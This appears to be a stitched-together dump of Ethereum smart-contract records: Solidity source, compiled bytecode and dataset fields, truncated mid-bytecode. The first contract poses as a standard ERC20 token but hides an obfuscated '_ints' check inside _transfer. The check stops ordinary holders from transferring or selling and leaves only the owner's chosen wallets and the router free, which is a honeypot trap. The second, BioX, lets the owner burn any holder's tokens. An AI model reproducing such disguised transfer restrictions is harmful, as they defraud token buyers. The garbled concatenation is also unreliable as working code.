function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bfe9be106689eae193ceb36fde7042cbc23da67ef326e94802f15dfea185bdba64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,064 |
0xdb7f954936f2cbdd68ab413352451d217f370fdb
|
pragma solidity ^0.4.24;
//
// BioX Token
//
//
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BioXToken {
using SafeMath for uint256;
string public constant name = "BIOX";
string public constant symbol = "BIOX";
uint public constant decimals = 18;
uint256 bioxEthRate = 10 ** decimals;
uint256 bioxSupply = 200000000000;
uint256 public totalSupply = bioxSupply * bioxEthRate;
uint256 public minInvEth = 0.1 ether;
uint256 public maxInvEth = 9999999999999 ether;
uint256 public sellStartTime = 1532861854; // 7/29/2018
uint256 public sellDeadline1 = sellStartTime + 30 days;
uint256 public sellDeadline2 = sellDeadline1 + 360 days;
uint256 public freezeDuration = 30 days;
uint256 public ethBioxRate1 = 35000;
uint256 public ethBioxRate2 = 35000;
bool public running = true;
bool public buyable = true;
address owner;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public whitelist;
mapping (address => uint256) whitelistLimit;
struct BalanceInfo {
uint256 balance;
uint256[] freezeAmount;
uint256[] releaseTime;
}
mapping (address => BalanceInfo) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BeginRunning();
event Pause();
event BeginSell();
event PauseSell();
event Burn(address indexed burner, uint256 val);
event Freeze(address indexed from, uint256 value);
constructor () public{
owner = msg.sender;
balances[owner].balance = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender] == true);
_;
}
modifier isRunning(){
require(running);
_;
}
modifier isNotRunning(){
require(!running);
_;
}
modifier isBuyable(){
require(buyable && now >= sellStartTime && now <= sellDeadline2);
_;
}
modifier isNotBuyable(){
require(!buyable || now < sellStartTime || now > sellDeadline2);
_;
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
// 1eth = newRate tokens
function setPublicOfferPrice(uint256 _rate1, uint256 _rate2) onlyOwner public {
ethBioxRate1 = _rate1;
ethBioxRate2 = _rate2;
}
//
function setPublicOfferLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public {
minInvEth = _minVal;
maxInvEth = _maxVal;
}
function setPublicOfferDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public {
sellStartTime = _startTime;
sellDeadline1 = _deadLine1;
sellDeadline2 = _deadLine2;
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function pause() onlyOwner isRunning public {
running = false;
emit Pause();
}
function start() onlyOwner isNotRunning public {
running = true;
emit BeginRunning();
}
function pauseSell() onlyOwner isBuyable isRunning public{
buyable = false;
emit PauseSell();
}
function beginSell() onlyOwner isNotBuyable isRunning public{
buyable = true;
emit BeginSell();
}
//
//
// All air deliver related functions use counts insteads of wei
// _amount in BioX, not wei
//
function airDeliver(address _to, uint256 _amount) onlyOwner public {
require(owner != _to);
require(_amount > 0);
require(balances[owner].balance >= _amount);
// take big number as wei
if(_amount < bioxSupply){
_amount = _amount * bioxEthRate;
}
balances[owner].balance = balances[owner].balance.sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(owner, _to, _amount);
}
function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amount);
}
}
function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public {
require(_addrs.length <= 255);
require(_addrs.length == _amounts.length);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amounts[i]);
}
}
//
// _amount, _freezeAmount in BioX
//
function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public {
require(owner != _to);
require(_freezeMonth > 0);
uint average = _freezeAmount / _freezeMonth;
BalanceInfo storage bi = balances[_to];
uint[] memory fa = new uint[](_freezeMonth);
uint[] memory rt = new uint[](_freezeMonth);
if(_amount < bioxSupply){
_amount = _amount * bioxEthRate;
average = average * bioxEthRate;
_freezeAmount = _freezeAmount * bioxEthRate;
}
require(balances[owner].balance > _amount);
uint remainAmount = _freezeAmount;
if(_unfreezeBeginTime == 0)
_unfreezeBeginTime = now + freezeDuration;
for(uint i=0;i<_freezeMonth-1;i++){
fa[i] = average;
rt[i] = _unfreezeBeginTime;
_unfreezeBeginTime += freezeDuration;
remainAmount = remainAmount.sub(average);
}
fa[i] = remainAmount;
rt[i] = _unfreezeBeginTime;
bi.balance = bi.balance.add(_amount);
bi.freezeAmount = fa;
bi.releaseTime = rt;
balances[owner].balance = balances[owner].balance.sub(_amount);
emit Transfer(owner, _to, _amount);
emit Freeze(_to, _freezeAmount);
}
// buy tokens directly
function () external payable {
buyTokens();
}
//
function buyTokens() payable isRunning isBuyable public {
uint256 weiVal = msg.value;
address investor = msg.sender;
require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth);
require(weiVal.add(whitelistLimit[investor]) <= maxInvEth);
uint256 amount = 0;
if(now > sellDeadline1)
amount = msg.value.mul(ethBioxRate2);
else
amount = msg.value.mul(ethBioxRate1);
whitelistLimit[investor] = weiVal.add(whitelistLimit[investor]);
balances[owner].balance = balances[owner].balance.sub(amount);
balances[investor].balance = balances[investor].balance.add(amount);
emit Transfer(owner, investor, amount);
}
//Use "" for adding whitelists.
function addWhiteListMulti(address[] _addrs) public onlyOwner {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
if (!whitelist[_addrs[i]]){
whitelist[_addrs[i]] = true;
}
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner].balance;
}
function freezeOf(address _owner) constant public returns (uint256) {
BalanceInfo storage bi = balances[_owner];
uint freezeAmount = 0;
uint t = now;
for(uint i=0;i< bi.freezeAmount.length;i++){
if(t < bi.releaseTime[i])
freezeAmount += bi.freezeAmount[i];
}
return freezeAmount;
}
function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
uint freezeAmount = freezeOf(msg.sender);
uint256 _balance = balances[msg.sender].balance.sub(freezeAmount);
require(_amount <= _balance);
balances[msg.sender].balance = balances[msg.sender].balance.sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) {
require(_from != address(0) && _to != address(0));
require(_amount <= allowed[_from][msg.sender]);
uint freezeAmount = freezeOf(_from);
uint256 _balance = balances[_from].balance.sub(freezeAmount);
require(_amount <= _balance);
balances[_from].balance = balances[_from].balance.sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) isRunning public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) {
return false;
}
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
require(myAddress.balance > 0);
owner.transfer(myAddress.balance);
emit Transfer(this, owner, myAddress.balance);
}
function burn(address burner, uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender].balance);
balances[burner].balance = balances[burner].balance.sub(_value);
totalSupply = totalSupply.sub(_value);
bioxSupply = totalSupply / bioxEthRate;
emit Burn(burner, _value);
}
}
|
0x6080604052600436106101cc5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101d6578063095ea7b3146102605780630c3e564a146102985780630ea7c8cd146102ef57806318160ddd1461031357806323b872dd1461033a578063313ce5671461036457806334d05b1f1461037957806335490ee9146103a65780633ccfd60b146103c1578063440991bd146103d65780634a7084bb146103eb57806355d8bbd514610409578063618de2861461041e57806370a08231146104735780637d4ce874146104945780638456cb59146104a957806386318bc4146104be57806388c7e397146104d357806395d89b41146101d65780639754a7d8146104e85780639aea020b146104fd5780639b19251a146105125780639dc29fac14610533578063a9059cbb14610557578063b885d5601461057b578063be9a655514610609578063cb60f8b41461061e578063cc00814d14610633578063cd4217c11461064e578063d0febe4c146101cc578063d70b63421461066f578063d85bd52614610684578063dd62ed3e14610699578063e01567cf146106c0578063e28a5e63146106d5578063f2fde38b146106ea575b6101d461070b565b005b3480156101e257600080fd5b506101eb6108fe565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022557818101518382015260200161020d565b50505050905090810190601f1680156102525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026c57600080fd5b50610284600160a060020a0360043516602435610935565b604080519115158252519081900360200190f35b3480156102a457600080fd5b50604080516020600480358082013583810280860185019096528085526101d49536959394602494938501929182918501908490808284375094975050933594506109ef9350505050565b3480156102fb57600080fd5b506101d4600160a060020a0360043516602435610a5f565b34801561031f57600080fd5b50610328610ba2565b60408051918252519081900360200190f35b34801561034657600080fd5b50610284600160a060020a0360043581169060243516604435610ba8565b34801561037057600080fd5b50610328610d68565b34801561038557600080fd5b506101d4600160a060020a0360043516602435604435606435608435610d6d565b3480156103b257600080fd5b506101d460043560243561109e565b3480156103cd57600080fd5b506101d46110c6565b3480156103e257600080fd5b50610328611179565b3480156103f757600080fd5b506101d460043560243560443561117f565b34801561041557600080fd5b506101d46111aa565b34801561042a57600080fd5b50604080516020600480358082013583810280860185019096528085526101d4953695939460249493850192918291850190849080828437509497506112419650505050505050565b34801561047f57600080fd5b50610328600160a060020a0360043516611317565b3480156104a057600080fd5b50610328611332565b3480156104b557600080fd5b506101d4611338565b3480156104ca57600080fd5b5061032861139b565b3480156104df57600080fd5b506102846113a1565b3480156104f457600080fd5b506101d46113af565b34801561050957600080fd5b50610328611445565b34801561051e57600080fd5b50610284600160a060020a036004351661144b565b34801561053f57600080fd5b506101d4600160a060020a0360043516602435611460565b34801561056357600080fd5b50610284600160a060020a0360043516602435611547565b34801561058757600080fd5b50604080516020600480358082013583810280860185019096528085526101d495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061165d9650505050505050565b34801561061557600080fd5b506101d46116f0565b34801561062a57600080fd5b50610328611755565b34801561063f57600080fd5b506101d460043560243561175b565b34801561065a57600080fd5b50610328600160a060020a0360043516611783565b34801561067b57600080fd5b506103286117ff565b34801561069057600080fd5b50610284611805565b3480156106a557600080fd5b50610328600160a060020a036004358116906024351661180e565b3480156106cc57600080fd5b50610328611839565b3480156106e157600080fd5b5061032861183f565b3480156106f657600080fd5b506101d4600160a060020a0360043516611845565b600b546000908190819060ff16151561072357600080fd5b600b54610100900460ff16801561073c57506005544210155b801561074a57506007544211155b151561075557600080fd5b349250339150811580159061076c57506003548310155b801561077a57506004548311155b151561078557600080fd5b600454600160a060020a0383166000908152600e60205260409020546107b290859063ffffffff6118a416565b11156107bd57600080fd5b600090506006544211156107e657600a546107df90349063ffffffff6118ba16565b90506107fd565b6009546107fa90349063ffffffff6118ba16565b90505b600160a060020a0382166000908152600e602052604090205461082790849063ffffffff6118a416565b600160a060020a038084166000908152600e6020908152604080832094909455600b546201000090049092168152600f909152205461086c908263ffffffff6118de16565b600b54600160a060020a036201000090910481166000908152600f602052604080822093909355908416815220546108aa908263ffffffff6118a416565b600160a060020a038084166000818152600f602090815260409182902094909455600b54815186815291519294620100009091049093169260008051602061195983398151915292918290030190a3505050565b60408051808201909152600481527f42494f5800000000000000000000000000000000000000000000000000000000602082015281565b600b5460009060ff16151561094957600080fd5b811580159061097a5750336000908152600c60209081526040808320600160a060020a038716845290915290205415155b15610987575060006109e9565b336000818152600c60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600b54600090620100009004600160a060020a03163314610a0f57600080fd5b825160ff1015610a1e57600080fd5b5060005b82518160ff161015610a5a57610a52838260ff16815181101515610a4257fe5b9060200190602002015183610a5f565b600101610a22565b505050565b600b54620100009004600160a060020a03163314610a7c57600080fd5b600b54600160a060020a0383811662010000909204161415610a9d57600080fd5b60008111610aaa57600080fd5b600b54620100009004600160a060020a03166000908152600f6020526040902054811115610ad757600080fd5b600154811015610ae657600054025b600b54620100009004600160a060020a03166000908152600f6020526040902054610b1190826118de565b600b54600160a060020a036201000090910481166000908152600f60205260408082209390935590841681522054610b4f908263ffffffff6118a416565b600160a060020a038084166000818152600f602090815260409182902094909455600b54815186815291519294620100009091049093169260008051602061195983398151915292918290030190a35050565b60025481565b600b546000908190819060ff161515610bc057600080fd5b60606064361015610bcd57fe5b600160a060020a03871615801590610bed5750600160a060020a03861615155b1515610bf857600080fd5b600160a060020a0387166000908152600c60209081526040808320338452909152902054851115610c2857600080fd5b610c3187611783565b600160a060020a0388166000908152600f6020526040902054909350610c5d908463ffffffff6118de16565b915081851115610c6c57600080fd5b600160a060020a0387166000908152600f6020526040902054610c95908663ffffffff6118de16565b600160a060020a0388166000908152600f6020908152604080832093909355600c815282822033835290522054610cd2908663ffffffff6118de16565b600160a060020a038089166000908152600c602090815260408083203384528252808320949094559189168152600f9091522054610d16908663ffffffff6118a416565b600160a060020a038088166000818152600f602090815260409182902094909455805189815290519193928b169260008051602061195983398151915292918290030190a35060019695505050505050565b601281565b600080606080600080600b60029054906101000a9004600160a060020a0316600160a060020a031633600160a060020a0316141515610dab57600080fd5b600b54600160a060020a038c811662010000909204161415610dcc57600080fd5b60008811610dd957600080fd5b8789811515610de457fe5b049550600f60008c600160a060020a0316600160a060020a03168152602001908152602001600020945087604051908082528060200260200182016040528015610e38578160200160208202803883390190505b50935087604051908082528060200260200182016040528015610e65578160200160208202803883390190505b5092506001548a1015610e8357600054998a02999889029895909502945b600b54620100009004600160a060020a03166000908152600f60205260409020548a10610eaf57600080fd5b889150861515610ec157600854420196505b5060005b60018803811015610f2557858482815181101515610edf57fe5b6020908102909101015282518790849083908110610ef957fe5b602090810290910101526008549690960195610f1b828763ffffffff6118de16565b9150600101610ec5565b818482815181101515610f3457fe5b6020908102909101015282518790849083908110610f4e57fe5b602090810290910101528454610f6a908b63ffffffff6118a416565b85558351610f8190600187019060208701906118f0565b508251610f9790600287019060208601906118f0565b50600b54620100009004600160a060020a03166000908152600f6020526040902054610fc3908b6118de565b600f6000600b60029054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600001819055508a600160a060020a0316600b60029054906101000a9004600160a060020a0316600160a060020a0316600080516020611959833981